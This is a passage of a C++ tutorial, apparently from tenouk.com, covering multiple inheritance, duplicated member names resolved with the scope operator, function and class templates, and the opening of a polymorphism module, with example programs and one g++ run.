▪ Multiple inheritances.
▪ Duplicated methods issue.
▪ Duplicated member variables issue.
▪ Parameterized type - Function template.
▪ Parameterized type - Class template.

16.1 Introduction

- Multiple inheritances are the ability to inherit member variable and methods from more than one base
class into a derived class.
- This feature will enhance the functionalities of the new class and its reusability but we have to deal with
few problems regarding the multi inheritance later.
- The biggest problem with multiple inheritances involves the inheritance of variables or methods with
duplicated names from two or more base classes. The question is: which variables or methods should
be chosen as the inherited entities? This will be illustrated in the following program examples.
- Actually, nothing new trick to solve this problem. It is same solution as used in the previous program
examples by using the scope operator (::) for duplicated functions name.

16.2 First Multiple Inheritance

- Study the following program named mulinher1.cpp, it will reveal the definition of two very simple
classes in lines 7 through 32 named moving_van and driver.

1. //program mulinher1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-----class declaration and implementation part-------
6. //-----base class number one--------
7. class moving_van
8. {
9. protected:
10. float payload;
11. float gross_weight;
12. float mpg;
13. //this variable only available for derived class
14. //because of the protected keyword
15. public:
16. void initialize(float pl, float gw, float input_mpg)
17. {
18. payload = pl;
19. gross_weight = gw;
20. mpg = input_mpg;
21. };
22.
23. float efficiency(void)
24. {
25. return (payload / (payload + gross_weight));
26. };
27.
28. float cost_per_ton(float fuel_cost)
29. {
30. return (fuel_cost / (payload / 2000.0));
31. };
32. };
33.
34. //--------base class number two--------
35. class driver
36. {
37. protected:
38. float hourly_pay;
39. public:

www.tenouk.com
40. void initialize(float pay) {hourly_pay = pay; };
41. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
42. };
43.
44. //---------------derived class----------------------------
45. //inherit from two different base classes
46. class driven_truck : public moving_van, public driver
47. {
48. public:
49. void initialize_all(float pl, float gw, float input_mpg, float pay)
50. { payload = pl;
51. gross_weight = gw;
52. mpg = input_mpg;
53. hourly_pay = pay;
54. };
55.
56. float cost_per_full_day(float cost_of_gas)
57. {
58. return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
59. };
60. };
61.
62. //----------------main program---------------------------
63. int main()
64. {
65. //instantiate an object…
66. driven_truck john_merc;
67. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
68.
69. cout<<"The efficiency of the Merc truck is "<<john_merc.efficiency()<<
70. " %\n";
71. cout<<"The cost per mile for John to drive Merc is
72. $"<<john_merc.cost_per_mile()<<"\n";
73. cout<<"The cost per day for John to drive Merc is
74. $"<<john_merc.cost_per_full_day(1.129)<<"\n";
75.
76. system("pause");
77.
78. return 0;
79. }

79 Lines: Output:

- In order to keep the program as simple as possible for our study, all of the member methods are defined
as inline functions.
- All variables in both classes are declared to be protected so they will be readily available for use in
any class that inherits them only.
- Beginning in line 46, we define another class named driven_truck which inherits all of the
variables and methods from both of the previously defined classes, moving_van and driver. In the
last two Modules, we have discussed how to inherit a single class into another class, and to inherit two
or more classes, the same technique is used except that we use a list of inherited classes separated by
commas as illustrated in line 46, the class header.

class driven_truck : public moving_van, public driver

- We use the keyword public prior to the name of each inherited class in order to be able to freely use
the methods within the derived class. In this case, we didn't define any new variables, but we did
introduce two new methods into the derived class in lines 49 through 59 as shown below.

void initialize_all(float pl, float gw, float input_mpg, float pay)


{ payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

www.tenouk.com
float cost_per_full_day(float cost_of_gas)
{
return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
};

- We define an object named john_merc which is composed of four variables, three from the
moving_van class, and one from the driver class.
- Any of these four variables can be manipulated in any of the methods defined within the
driven_truck class in the same way as in a singly inherited situation.
- A few examples are given in lines 67 through 74 of the main program as shown below.

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);

cout<<"The efficiency of the Merc truck is "<<john_merc.efficiency()<<


" %\n";
cout<<"The cost per mile for John to drive Merc is
$"<<john_merc.cost_per_mile()<<"\n";
cout<<"The cost per day for John to drive Merc is
$"<<john_merc.cost_per_full_day(1.129)<<"\n";

- All of the rules for private or protected variables and public or private method inheritance
as used with single inheritance extend to multiple inheritances.

16.3 Duplicate Method Names

- You will notice that both of the base classes have a method named initialize(), and both of these
are inherited into the subclass. However, if we attempt to send a message to one of these methods, we
will have a problem, because the system does not know which one we are referring to. This problem
will be solved as illustrated in the next program example.
- Before going on to the next program example, it should be noted that we have not declared any objects
of the two base classes in the main program. Be sure to compile and run this program after you
understand its operation completely.
- The second program example in this Module named mulinher2.cpp, illustrates the use of classes
with duplicate method names being inherited into a derived class.

1. //Program mulinher2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-----declaration and implementation class part------
6. //-----base class number one-----
7. class moving_van
8. {
9. protected:
10. float payload;
11. float gross_weight;
12. float mpg;
13. public:
14. void initialize(float pl, float gw, float input_mpg)
15. {
16. payload = pl;
17. gross_weight = gw;
18. mpg = input_mpg;
19. };
20.
21. float efficiency(void)
22. {
23. return (payload / (payload + gross_weight));
24. };
25.
26. float cost_per_ton(float fuel_cost)
27. {
28. return (fuel_cost / (payload / 2000.0));
29. };
30.
31. float cost_per_full_day(float cost_of_gas) //number one
32. {
33. return (8.0 * cost_of_gas * 55.0 / mpg);
34. };
35. };
36.
37. //-------base class number two-------

www.tenouk.com
38. class driver
39. {
40. protected:
41. float hourly_pay;
42. public:
43. //same method name as in moving van class…
44. void initialize(float pay) {hourly_pay = pay; };
45. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
46. float cost_per_full_day(float overtime_premium) //number two
47. {return (8.0 * hourly_pay); };
48. };
49.
50. //-----------------derived class----------------------------
51. //notice also the duplicated method names used
52. class driven_truck : public moving_van, public driver
53. {
54. public:
55. void initialize_all(float pl, float gw, float input_mpg, float pay)
56. {
57. payload = pl;
58. gross_weight = gw;
59. mpg = input_mpg;
60. hourly_pay = pay;
61. };
62.
63. float cost_per_full_day(float cost_of_gas) //number three
64. {
65. return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
66. };
67. };
68.
69. //-------------------main program---------------------------
70. int main()
71. {
72. driven_truck john_merc;
73.
74. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
75. cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";
76. cout<<"The cost per mile for John to drive is
77. $"<<john_merc.cost_per_mile()<<"\n\n";
78.
79. cout<<" calling the appropriate method using:\n";
80. cout<<" john_merc.moving_van::cost_per_full_day()\n";
81. cout<<"--------------------------------------------\n";
82. cout<<"The cost per day for the Merc is
83. $"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";
84.
85. cout<<" calling the appropriate method using:\n";
86. cout<<" john_merc.driver::cost_per_full_day()\n";
87. cout<<"----------------------------------------\n";
88. cout<<"The cost of John for a full day is
89. $"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";
90.
91. cout<<" calling the appropriate method using:\n";
92. cout<<" john_merc.driven_truck::cost_per_full_day()\n";
93. cout<<"----------------------------------------------\n";
94. cout<<"The cost per day for John to drive Merc is
95. $"<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";
96.
97. system("pause");
98. return 0;
99. }

99 Lines: Output:

www.tenouk.com
- A new method has been added to all three of the classes named cost_per_full_day(). This was
done intentionally to illustrate how the same method name can be used in all three classes. The class
definitions are no problem at all; the methods are simply named and defined as shown.
- The problem comes when we wish to use one of the methods since they are all have same name,
numbers and types of parameters and identical return types. This prevents some sort of an
overloading rule to disambiguate the message sent to one or more of the methods.
- The method used to disambiguate the method calls are illustrated in lines 82-83, 88-89, and 94-95
of the main program as shown below:

cout<<"The cost per day for the Merc is


$"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";
...
...
cout<<"The cost of John for a full day is
$"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";
...
...
cout<<"The cost per day for John to drive Merc is
$"<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";
...
...

- The solution is simple by prepending the class name to the method name with the double colon (::,
scope operator) as used in the method implementation definition. This is referred to as qualifying the
method name. Actually, qualification is not necessary in line 95 since it is the method in the derived
class and it will take precedence over the other method names.
- Actually, you could qualify all method calls, but if the names are unique, the compiler can do it for you
and make your code easier to be written and read. Be sure to compile and run this program and study
the output and the source code.

16.4 Duplicated Variable Names

- Examine the program example named mulinher3.cpp, you will notice that each base class has a
variable with the same name, named weight.

1. //Program mulinher3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------class declaration and implementation part--------
6. //------class number one-----------
7. class moving_van
8. {
9. protected:
10. float payload;
11. float weight; //note this variable
12. float mpg;
13. public:
14. void initialize(float pl, float gw, float input_mpg)

www.tenouk.com
15. {
16. payload = pl;
17. weight = gw;
18. mpg = input_mpg;
19. };
20.
21. float efficiency(void)
22. { return(payload / (payload + weight)); };
23.
24. float cost_per_ton(float fuel_cost)
25. { return (fuel_cost / (payload / 2000.0)); };
26. };
27.
28. //-----class number two------------
29. class driver
30. {
31. protected:
32. float hourly_pay;
33. float weight; //another weight variable
34. //variable with same name as in class number one
35. public:
36. void initialize(float pay, float input_weight)
37. //same method name but different number of parameter
38. {
39. hourly_pay = pay;
40. weight = input_weight;
41. };
42. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
43. float drivers_weight(void) {return (weight); };
44. };
45.
46. //-----------derived class with multi inheritance---------
47. //---------declaration and implementation-----------------
48. class driven_truck : public moving_van, public driver
49. {
50. public:
51. void initialize_all(float pl, float gw, float input_mpg, float pay)
52. //another same method name but different number of parameter
53. {
54. payload = pl;
55. moving_van::weight = gw;
56. mpg = input_mpg;
57. hourly_pay = pay;
58. };
59.
60. float cost_per_full_day(float cost_of_gas)
61. { return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg); };
62.
63. float total_weight(void)
64. //see, how to call different variables with same name
65. {
66. cout<<"\nCalling appropriate member variable\n";
67. cout<<"---->(moving_van::weight)+(driver::weight)\n";
68. cout<<"------------------------------------------\n";
69. return ((moving_van::weight) + (driver::weight));
70. };
71. };
72.
73. //----------the main program---------------------
74. int main()
75. {
76. driven_truck john_merc;
77.
78. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
79. //accessing the derived class method
80. john_merc.driver::initialize(15.50, 250.0);
81. //accessing the base class number two
82.
83. cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";
84. cout<<"The cost per mile for John to drive is
85. $"<<john_merc.cost_per_mile()<<"\n";
86. cout<<"The cost per day for John to drive Merc is
87. $"<<john_merc.cost_per_full_day(1.129)<<"\n";
88. cout<<"The total weight is "<<john_merc.total_weight()<<" ton\n";
89.
90. system("pause");
91. return 0;
92. }

92 Lines: Output:

www.tenouk.com
- According to the rules of inheritance, an object of the driven_truck class will have two variables
with the same name, weight. This would be a problem if it weren’t for the fact that C++ has defined a
method of accessing each one in a well defined way. We have to use qualification to access each
variable.
- Line 69 as shown below, illustrates the use of the variables. It may be obvious, but it should be
explicitly stated, the derived class itself can have a variable of the same name as those inherited from
the base classes. In order to access it, no qualification would be required, but qualification with the
derived class name is permitted.

return ((moving_van::weight) + (driver::weight));

- It should be apparent to you that once you understand single inheritance, multiple inheritances is
nothing more than an extension of the same rules. Of course, if you inherit two methods or variables of
the same name, you must use qualification to allow the compiler to select the correct one.
- Constructors are called for both classes before the derived class constructor is executed. The
constructors for the base classes are called in the order they are declared in the class header.
- Compile and run this program.

16.5 Parameterized Types

- Many times, when developing a program, you wish to perform some operation on more than one data
type with same program routine. For example you may wish to sort a list of integers, another list of
floating point numbers, and a list of alphabetic strings but the sorting routine should be same.
- It seems silly to write a separate sort function for each of the three types when all three are sorted in the
same logical way.
- With parameterized types, you will be able to write a single sort routine that is capable of sorting all
the three different types of data.
- This is already available in other programming language such as Ada language as the generic package
or procedure.
- There is already a library of these components available, as a part of the ANSI-C++ standard and most
of the C++ compilers available in the market. It is called the Standard Template Library,
usually referred to as STL.
- It will be very beneficial for you to study this and learn how to use it in your programs. The detail
discussion about STL is presented in Part III of this Tutorial. Assume this section as an introduction of
the generic programming.

16.6 Template – A Function Template

- The following program example named template1.cpp is our first example of the template and
their usage. This simple program just to illustrate the use of the parameterized type.

1. //Using function template


2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-----------template declaration-----------
6. template
7. <class ANY_TYPE> ANY_TYPE maximum(ANY_TYPE a, ANY_TYPE b)
8. {
9. return (a > b) ? a : b;
10. }
11.
12. //-------------------main program----------

www.tenouk.com
13. int main(void)
14. {
15. int x = 10, y = -9;
16. float real = 3.1415;
17. char ch = 'C';
18.
19. cout<<"maximum("<<x<<", "<<y<<") = "<<maximum(x, y)<<"\n";
20. cout<<"maximum(-47, "<<y<<") = "<<maximum(-47,y)<<"\n";
21. cout<<"maximum("<<real<<", "<<float(y)<<") =
22. "<<maximum(real,float(y))<<"\n";
23. cout<<"maximum("<<real<<", "<<float(x)<<") =
24. "<<maximum(real,float(x))<<"\n";
25. cout<<"maximum("<<ch<<", "<<'A'<<") = "<<maximum(ch, 'A')<<"\n";
26.
27. system("pause");
28.
29. return 0;
30. }

30 Lines: Output:

- The template is given in lines 6 through 10 as shown below with the first line indicating that it is a
template with a single type to be replaced, the type ANY_TYPE.

//-----------template declaration-----------
template
<class ANY_TYPE> ANY_TYPE maximum(ANY_TYPE a, ANY_TYPE b)
{
return (a > b) ? a : b;
}

- This type can be replaced by any type which can be used in the comparison operation in line 9. If you
have defined a class, and you have overloaded the operator ">", then this template can be used with
objects of your class. Thus, you do not have to write a maximum function for each type or class in your
program.
- This function is included automatically for each type it is called with in the program, and the code itself
should be very easy to understand.
- You should realize that nearly the same effect can be achieved through the use of a macro, except that
when a macro is used, the strict type checking is not done. Because of this and because of the
availability of the inline method capability in C++, the use of macros is essentially been considered
non-existent by experienced programmers.

16.7 Template - A Class template

- The following program example named template2.cpp provides a template for an entire class
rather than a single function.
- The template code is given in lines 8 through 17 and actually it is an entire class definition.

1. //Class template
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. const int MAXSIZE = 128;
6.
7. //--------------------class template--------------------------
8. template <class ANY_TYPE> class stack
9. {
10. ANY_TYPE array[MAXSIZE];
11. int stack_pointer;
12. public:
13. stack(void) { stack_pointer = 0; };

www.tenouk.com
14. void push(ANY_TYPE input_data){ array[stack_pointer++] = input_data; };
15. ANY_TYPE pop(void) { return array[--stack_pointer]; };
16. int empty(void) { return (stack_pointer == 0); };
17. };
18.
19. char name[] = "Testing, this is an array, name[]";
20.
21. //---------------------main program---------------------------
22. int main(void)
23. {
24. int x = 30, y = -10;
25. float real = 4.2425;
26.
27. stack<int> int_stack;
28. stack<float> float_stack;
29. stack<char *> string_stack;
30.
31. //storing data
32. int_stack.push(x);
33. int_stack.push(y);
34. int_stack.push(67);
35.
36. float_stack.push(real);
37. float_stack.push(-20.473);
38. float_stack.push(107.03);
39.
40. string_stack.push("This is the first line of string");
41. string_stack.push("This is the second line of string");
42. string_stack.push("This is the third line of string");
43. string_stack.push(name);
44.
45. //displaying data
46. cout<<"---------------Displaying data--------------------\n";
47. cout<<"\nInteger stack\n";
48. cout<<"-------------\n";
49. cout<<"Access using int_stack.pop(), first time : "<<int_stack.pop()<<"\n";
50. cout<<"Access using int_stack.pop(), second time: "<<int_stack.pop()<<"\n";
51. cout<<"Access using int_stack.pop(), third time : "<<int_stack.pop()<<"\n";
52.
53. cout<<"\nFloat stack\n";
54. cout<<"-------------\n";
55. cout<<"Access using float_stack.pop(), first time :
56. "<<float_stack.pop()<<"\n";
57. cout<<"Access using float_stack.pop(), second time:
58. "<<float_stack.pop()<<"\n";
59. cout<<"Access using float_stack.pop(), third time :
60. "<<float_stack.pop()<<"\n";
61.
62. cout<<"\nString stack\n";
63. cout<<"-------------\n";
64. do
65. {
66. cout<<"Access using string_stack.pop(): "<<string_stack.pop()<<"\n";
67. } while (!string_stack.empty());
68.
69.
70. system("pause");
71. return 0;
72. }

72 Lines: Output:

www.tenouk.com
- In the main program we create an object named int_stack in line 27 which will be a stack designed
to store integers, and another object named float_stack in line 28 which is designed to store float
type values as shown below:

stack<int> int_stack;
stack<float> float_stack;

- In both cases, we enclose the type we desire this object to work with in "<>" brackets and the system
creates the object by first replacing all instances of ANY_TYPE with the desired type, then creating the
object of that type.
- You will note that any type can be used that has an assignment capability since lines 13 and 14 use the
assignment operator on the parameterized type. The assignment operator is used in line 14 because it
returns an object of that type which must be assigned to something in the calling program.
- Even though the strings are all of different lengths, we can even use the stack to store the strings if we
only store a pointer to the strings and not the entire string. This is illustrated in the object named
string_stack defined in line 29 and used later in the program.
- Compile and run this program and appreciate it :o).
- You will learn a lot more things about templates, the Standard Template Library in Tutorial #4.

Program Examples and Experiments

- Let have program examples demonstrating the multi inheritance. The simple class hierarchy for this
program example is depicted below.

//multiple inheritance program example...


#include <iostream.h>
#include <stdlib.h>

//--------class declaration part------------


//base class....
class MyFather
{

www.tenouk.com
protected:
char* EyeColor;
char* HairType;
double FamSaving;
int FamCar;

public:
MyFather(){}
~MyFather(){}
char* ShowEyeColor();
char* ShowHairType();
long double FamilySaving();
int FamilyCar();
};

//another base class...


class MyMother
{
//notice the same member variables names
//as in MyFather class...
protected:
char* EyeColor;
char* HairType;
int FamHouse;

public:
MyMother(){}
~MyMother(){}
char* ShowMotherEye();
char* ShowMotherHair();
int FamilyHouse();
};

//single inheritance derived class...


//aaahhh!!! my class :-) finally!!!
class MySelf:public MyFather
{
//another member variables with same names...
char* HairType;
char* Education;

public:
MySelf(){}
~MySelf(){}
char* ShowMyHair();
char* ShowMyEducation();
};

//multiple inheritance derived class...


//notice the keyword public must follow every
//parent class list as needed...
class MySister:public MyFather,public MyMother
{
char* SisEye;
float MonAllowance;

public:
MySister(){}
~MySister(){}
char* ShowSisEye();
float ShowSisAllownace();
};

//--------class implementation part-----------


char* MyFather::ShowEyeColor()
{return EyeColor = "Brown";}

char* MyFather::ShowHairType()
{return HairType = "Bald";}

long double MyFather::FamilySaving()


{return FamSaving = 100000L;}

int MyFather::FamilyCar()
{return FamCar = 4;}

char* MyMother::ShowMotherEye()
{return EyeColor = "Blue";}

char* MyMother::ShowMotherHair()

www.tenouk.com
{return HairType = "Curly Blonde";}

int MyMother::FamilyHouse()
{return FamHouse = 3;}

char* MySelf::ShowMyHair()
{return HairType = "Straight Black";}

char* MySelf::ShowMyEducation()
{return Education = "Post Graduate";}

char* MySister::ShowSisEye()
{return SisEye = "Black";}

float MySister::ShowSisAllownace()
{return MonAllowance = 1000.00;}

//-----------main program----------------------
int main()
{
//instantiate the objects...
MyFather ObjFat;
MyMother ObjMot;
MySelf ObjSelf;
MySister ObjSis;

cout<<"--My father's data--"<<endl;


cout<<"His eye: "<<ObjFat.ShowEyeColor()<<"\n"
<<"His hair: "<<ObjFat.ShowHairType()<<"\n"
<<"Family Saving: USD"<<ObjFat.FamilySaving()<<"\n"
<<"Family Car: "<<ObjFat.FamilyCar()<<" cars.\n";

cout<<"\n--My mother's data--"<<endl;


cout<<"Her eye: "<<ObjMot.ShowMotherEye()<<endl;
cout<<"Her hair: "<<ObjMot.ShowMotherHair()<<endl;
cout<<"Our family house: "<<ObjMot.FamilyHouse()<<" houses."<<endl;

//notice how to access the base/parent class member functions


//through the child or derived objects...
cout<<"\n--My data--"<<endl;
cout<<"My Hair: "<<ObjSelf. ShowMyHair()<<endl;
cout<<"My family saving: USD"<<ObjSelf.MySelf::FamilySaving()<<endl;
cout<<"My family car: "<<ObjSelf.MySelf::FamilyCar()<<" cars."<<endl;
cout<<"My education: "<<ObjSelf.ShowMyEducation()<<endl;

cout<<"\n--My sister's data--"<<endl;


cout<<"Her eye: "<<ObjSis. ShowSisEye()<<endl;
cout<<"Our family saving: USD"<<ObjSis.MySister::FamilySaving()<<endl;
cout<<"Our family car: "<<ObjSis.MySister::FamilyCar()<<" cars."<<endl;
cout<<"Our family house: "<<ObjSis.MySister::FamilyHouse()<<" houses."<<endl;
cout<<"Her monthly allowances: USD"<<ObjSis.ShowSisAllownace()<<endl;

system("pause");
return 0;
}

Output:

www.tenouk.com
//another simple multiple
//inheritance program example...
#include <iostream.h>
#include <stdlib.h>

//-------class declaration and implementation-------


//-------part-------
//base class...
class Base1
{
protected:
int SampleDataOne;
public:
Base1(){SampleDataOne = 100;}
~Base1(){}

int SampleFunctOne()
{return SampleDataOne;}

};

//another base class...


class Base2
{
protected:
int SampleDataTwo;
public:
Base2(){SampleDataTwo = 200;}
~Base2(){}

int SampleFunctTwo()
{return SampleDataTwo;}
};

//derived class...
class Derived1:public Base1,public Base2
{
int MyData;
public:
Derived1(){MyData = 300;}

www.tenouk.com
~Derived1(){}
int MyFunct()
{
//the protected data of the base classes are available
//for this derived class...
return (MyData + SampleDataOne + SampleDataTwo);
}
};

//-----------main program----------------------
int main()
{
//instantiate objects...
Base1 SampleObjOne;
Base2 SampleObjTwo;
Derived1 SampleObjThree;

cout<<"Normal access Base1 class data: "<<SampleObjOne.SampleFunctOne()<<endl;


cout<<"Normal access Base2 class data: "<<SampleObjTwo.SampleFunctTwo()<<endl;

cout<<"Normal access Derived1 class data: "<<SampleObjThree.MyFunct()<<endl;


cout<<"\nExtracting the Base1 data through the derived class:"<<endl;
cout<<"Base1 data: "<<SampleObjThree.Base1::SampleFunctOne()<<endl;

cout<<"\nExtracting the Base2 data through the derived class:"<<endl;


cout<<"Base2 data: "<<SampleObjThree.Base2::SampleFunctTwo()<<endl;

system("pause");
return 0;
}

Output:

- You can try other simple examples of inheritance/multi inheritance and polymorphism (next Module) in
Typecasting Module.
- Example compiled using VC++/VC++ .Net.

//Program mulinher3.cpp
#include <iostream>
using namespace std;

//------class declaration and implementation part--------


//------class number one-----------
class moving_van
{
protected:
double payload;
double weight; //note this variable
double mpg;
public:
void initialize(double pl, double gw, double input_mpg)
{
payload = pl;
weight = gw;
mpg = input_mpg;
};

double efficiency(void)
{ return(payload / (payload + weight)); };

double cost_per_ton(double fuel_cost)


{ return (fuel_cost / (payload / 2000.0)); };

www.tenouk.com
};

//-----class number two------------


class driver
{
protected:
double hourly_pay;
double weight; //another weight variable
//variable with same name as in class number one
public:
void initialize(double pay, double input_weight)
//same method name but different number of parameter
{
hourly_pay = pay;
weight = input_weight;
};
double cost_per_mile(void) {return (hourly_pay / 55.0); };
double drivers_weight(void) {return (weight); };
};

//-----------derived class with multi inheritance---------


//---------declaration and implementation-----------------
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(double pl, double gw, double input_mpg, double pay)
//another same method name but different number of parameter
{
payload = pl;
moving_van::weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

double cost_per_full_day(double cost_of_gas)


{ return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg); };

double total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};

//----------the main program---------------------


int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


//accessing the derived class method
john_merc.driver::initialize(15.50, 250.0);
//accessing the base class number two

cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";


cout<<"The cost per mile for John to drive is $"<<john_merc.cost_per_mile()<<"\n";
cout<<"The cost per day for John to drive Merc is
$"<<john_merc.cost_per_full_day(1.129)<<"\n";
cout<<"The total weight is "<<john_merc.total_weight()<<" ton\n";
return 0;
}

Output:

www.tenouk.com
- Previous example compiled using g++.

//////- multiherit.cpp-/////////
//////-multi inheritance-///////
#include <iostream>
using namespace std;

//-----declaration and implementation class part------


//-----base class number one-----
class moving_van
{
protected:
float payload;
float gross_weight;
float mpg;

public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};

float efficiency(void)
{return (payload / (payload + gross_weight));};

float cost_per_ton(float fuel_cost)


{return (fuel_cost / (payload / 2000.0));};

float cost_per_full_day(float cost_of_gas) //number one


{return (5.5 * cost_of_gas * 55.0 / mpg);};
};

//-------base class number two-------


class driver
{
protected:
float hourly_pay;

public:
//same method name as in moving van class.
void initialize(float pay) {hourly_pay = pay;};
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
float cost_per_full_day(float overtime_premium) //number two
{return (7.0 * hourly_pay); };
};

//-----------------derived class----------------------------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};

float cost_per_full_day(float cost_of_gas) //number three


{
return ((7.0 * hourly_pay) + (5.5 * cost_of_gas * 55.0) / mpg);
};

www.tenouk.com
};

//-------------------main program---------------------------
int main()
{
driven_truck john_merc;

john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);


cout<<"Merc's efficiency is "<<john_merc.efficiency()<<" %\n";
cout<<"Cost per mile for John to drive is USD"<<john_merc.cost_per_mile()<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.moving_van::cost_per_full_day()\n";
cout<<"-----------------------------------------\n";
cout<<"Merc's cost per day is
USD"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.driver::cost_per_full_day()\n";
cout<<"----------------------------------------\n";
cout<<"John's full day cost is
USD"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";

cout<<"Calling the appropriate method using:\n";


cout<<"john_merc.driven_truck::cost_per_full_day()\n";
cout<<"----------------------------------------------\n";
cout<<"Merc's cost per day for John to drive is USD"
<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";

return 0;
}

[bodo@bakawali ~]$ g++ multiherit.cpp -o multiherit


[bodo@bakawali ~]$ ./multiherit

Merc's efficiency is 0.625 %


Cost per mile for John to drive is USD0.227273

Calling the appropriate method using:


john_merc.moving_van::cost_per_full_day()
-----------------------------------------
Merc's cost per day is USD65.6774

Calling the appropriate method using:


john_merc.driver::cost_per_full_day()
----------------------------------------
John's full day cost is USD87.5

Calling the appropriate method using:


john_merc.driven_truck::cost_per_full_day()
----------------------------------------------
Merc's cost per day for John to drive is USD153.177

Further reading and digging:

1. Check the best selling C/C++ and object oriented books at Amazon.com.
2. Subjects, topics or books related to the following item:

a. Object Oriented Design.


b. Object Oriented Analysis.
c. Standard Template Library –Tutorial #4 tenouk.com.

3. Typecasting that discussed in Module 22 of this Tutorial extensively deals with Inheritance and Multi
inheritance.

www.tenouk.com
MODULE 17
POLYMORPHISM

My Training Period: hours

Abilities

Able to understand and use:

▪ Polymorphism concept.
▪ Virtual function.
▪ Late and early binding.

17.1 Introduction

- Polymorphism is a technique that allows you to set a base object equal to one or more of its derived
objects.
- The interesting thing about this technique is that, after the assignment, the base acts in different ways,
depending on the traits of the derived object that is currently assigned to it. The base object that acts in
many different ways, hence the name "polymorphism," which translates literally to "many form."
- Another way of looking at polymorphism: A base class defines a certain number of functions that are
inherited by all its descendants. If you assign a variable of the derived type to one of its base, all the
base's methods are guaranteed to be filled out with valid addresses of the pointers.
- The issue here is that the derived object, by the fact of its being a descendant object, must have valid
addresses for all the methods used in its base’s virtual method table (VMT). As a result, you can call
one of these methods and watch as the derived functions get called.
- However, you cannot call one of the derived methods that do not also belong to the base. The base
doesn't know about those methods, so the compiler won't let you call them. In other words, the base
may be able to call some of the derive functions, but it is still a variable of the base type.
- A virtual method table, or VMT, is a table maintained in memory by the compiler; it contains a list of all
the pointers to the virtual methods hosted by an object. If you have an object that is descended
from, let say, TObject, the VMT for that object will contain all the virtual methods of that object, plus
the virtual methods of TObject.
- If some of the methods in a base class are defined as virtual, each of the descendants can redefine
the implementation of these methods. The key elements that define a typical case of polymorphism are
a base class and the descendants that inherit a base class's methods. In particular, the fanciest type of
polymorphism involves virtual methods that are inherited from a base class.

17.2 A Simple Program With Inheritance

- Examine the program example named poly1.cpp, the basic program that will be use for our
discussion in this Module. The last program in this Module will illustrate the proper use of virtual
functions.

1. //Program poly1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---base class declaration
6. //---and implementation part-----
7. class vehicle
8. {
9. int wheels;
10. float weight;
11. public:
12. void message(void) //first message()
13. {cout<<"Vehicle message, from vehicle, the base class\n";}
14. };
15.
16. //----derived class declaration and implementation part-----
17. class car : public vehicle
18. {
19. int passenger_load;
20. public:
21. void message(void) //second message()
22. {cout<<"Car message, from car, the vehicle derived class\n";}
23. };
24.

www.tenouk.com
25. class truck : public vehicle
26. {
27. int passenger_load;
28. float payload;
29. public:
30. int passengers(void) {return passenger_load;}
31. };
32.
33. class boat : public vehicle
34. {
35. int passenger_load;
36. public:
37. int passengers(void) {return passenger_load;}
38. void message(void) //third message()
39. {cout<<"Boat message, from boat, the vehicle derived class\n";}
40. };
41.
42. //------------the main program------------
43. int main()
44. {
45. vehicle unicycle;
46. car sedan_car;
47. truck trailer;
48. boat sailboat;
49.
50. unicycle.message();
51. sedan_car.message();
52. trailer.message();
53. sailboat.message();
54.
55. //base and derived object assignment
56. unicycle = sedan_car;
57. unicycle.message();
58.
59. system("pause”);
60. return 0;
61. }

61 Lines: Output:

- This program is greatly simplified in order to effectively show you the use of a virtual function. You
will notice that many of the methods from the last Module have been completely dropped from this
example for simplicity, and a new method has been added to the base class, the method named
message() in line 12 as shown below.

void message(void) //first message()

- Throughout this Module we will be studying the operation of the method named message() in the
base class and the derived classes. For that reason, there is another method named message() in the
derived car class and boat in lines 21 and 38 respectively as shown below:

void message(void) //second message()


...
void message(void) //third message()

- You will also notice that there is no method named message() in the truck class. This has been
done on purpose to illustrate the use of the virtual function/method. You will recall that the method
named message() from the base class is available in the truck class because the method from the
